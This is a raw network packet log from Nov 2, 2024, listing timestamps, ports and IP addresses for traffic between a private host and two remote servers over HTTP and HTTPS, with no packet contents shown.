Nov 2, 2024 07:16:22.209187031 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209192991 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209197998 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209209919 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209212065 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209218979 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209235907 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209235907 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209265947 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209336996 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209403038 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209420919 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209438086 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209450006 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209453106 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209453106 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209460974 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209471941 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209481955 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209494114 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209494114 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209527969 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209527969 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209569931 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209580898 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209590912 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209600925 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209614992 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209619999 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209651947 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209651947 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209692001 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209742069 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209758997 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209769964 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209781885 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209791899 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209826946 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209826946 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209835052 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209845066 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209855080 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209867001 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209883928 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209913015 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209964037 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210004091 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210017920 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210036039 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210047007 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210057020 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210081100 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210081100 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210163116 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210172892 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210185051 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210196018 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210212946 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210216045 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210230112 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210241079 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210247993 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210247993 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210251093 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210263014 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210273027 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210279942 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210283041 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210295916 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210304976 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210311890 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210324049 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210331917 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210336924 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210346937 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210347891 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210366964 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210377932 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210377932 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210386992 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210397959 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210401058 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210411072 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210413933 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210447073 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210462093 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210577011 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210608006 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210619926 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210649967 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210678101 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210690022 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210700989 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210711002 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210740089 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210782051 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210836887 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210846901 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210858107 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210869074 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210886955 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210886002 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210927010 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.210931063 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.210931063 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.211040020 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.211049080 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.211059093 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.211070061 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.211086035 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.211113930 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.212526083 CET	63869	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.212570906 CET	443	63869	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.212944031 CET	63869	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.212959051 CET	443	63869	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.217907906 CET	443	63871	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.221405029 CET	63871	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.221434116 CET	443	63871	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.221816063 CET	63871	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.221826077 CET	443	63871	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.235280037 CET	443	63870	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.238470078 CET	63870	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.238500118 CET	443	63870	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.238862038 CET	63870	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.238872051 CET	443	63870	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.240736008 CET	443	63872	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.242374897 CET	63872	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.242398024 CET	443	63872	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.242737055 CET	63872	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.242742062 CET	443	63872	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.244956970 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.244999886 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.245055914 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.287276983 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287348032 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287358046 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287374973 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287385941 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287401915 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287414074 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287425041 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287425041 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.287436008 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287446976 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287458897 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.287458897 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.287487984 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.287516117 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.287522078 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287620068 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287630081 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287640095 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287651062 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287662983 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287674904 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287679911 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.287694931 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287703991 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.287704945 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287715912 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287729979 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.287746906 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287754059 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.287756920 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287791967 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.287795067 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287823915 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287833929 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287838936 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.287863970 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.287899971 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287911892 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287920952 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287933111 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287945032 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287950039 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.287955999 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287966967 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.287969112 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.287998915 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288016081 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288017035 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288027048 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288041115 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288050890 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288054943 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288067102 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288079977 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288113117 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288243055 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288253069 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288263083 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288275957 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288285017 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288286924 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288296938 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288309097 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288310051 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288321018 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288347006 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288347006 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288381100 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288383961 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288402081 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288412094 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288424015 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288434982 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288441896 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288444996 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288458109 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288467884 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288466930 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288479090 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288486004 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288487911 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288503885 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288506985 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288516998 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288526058 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288535118 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288543940 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288554907 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288554907 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288567066 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288573027 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288578033 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288589001 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288594007 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288629055 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288633108 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288633108 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288640976 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288650036 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.288666964 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.288700104 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.313652039 CET	443	63868	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.313734055 CET	443	63868	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.313808918 CET	63868	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.318242073 CET	63868	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.318272114 CET	443	63868	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.318298101 CET	63868	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.318315029 CET	443	63868	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.325906038 CET	63874	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.325926065 CET	443	63874	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.326189041 CET	63874	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.329251051 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329263926 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329274893 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329284906 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329298019 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329308033 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329309940 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329319954 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329332113 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329333067 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329344988 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329353094 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329355955 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329377890 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329377890 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329386950 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329396963 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329437971 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329483986 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329493999 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329504013 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329516888 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329526901 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329526901 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329561949 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329561949 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329561949 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329571009 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329581022 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329602003 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329613924 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329615116 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329627037 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329633951 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329643965 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329663992 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329668045 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329674006 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329683065 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329694033 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329701900 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329709053 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329734087 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329735041 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329823971 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329834938 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329852104 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329862118 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329866886 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329874039 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329885006 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.329886913 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329902887 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.329924107 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330002069 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330040932 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330049992 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330066919 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330075979 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330085993 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330086946 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330105066 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330111980 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330111980 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330115080 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330126047 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330147028 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330151081 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330151081 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330157042 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330168962 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330188036 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330199003 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330209017 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330219030 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330265999 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330265999 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330399990 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330480099 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330491066 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330502033 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330540895 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330540895 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330574989 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330579996 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330598116 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330609083 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330617905 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330626965 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330629110 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330637932 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330652952 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330652952 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330653906 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330667019 CET	80	63862	185.215.113.16	192.168.2.4
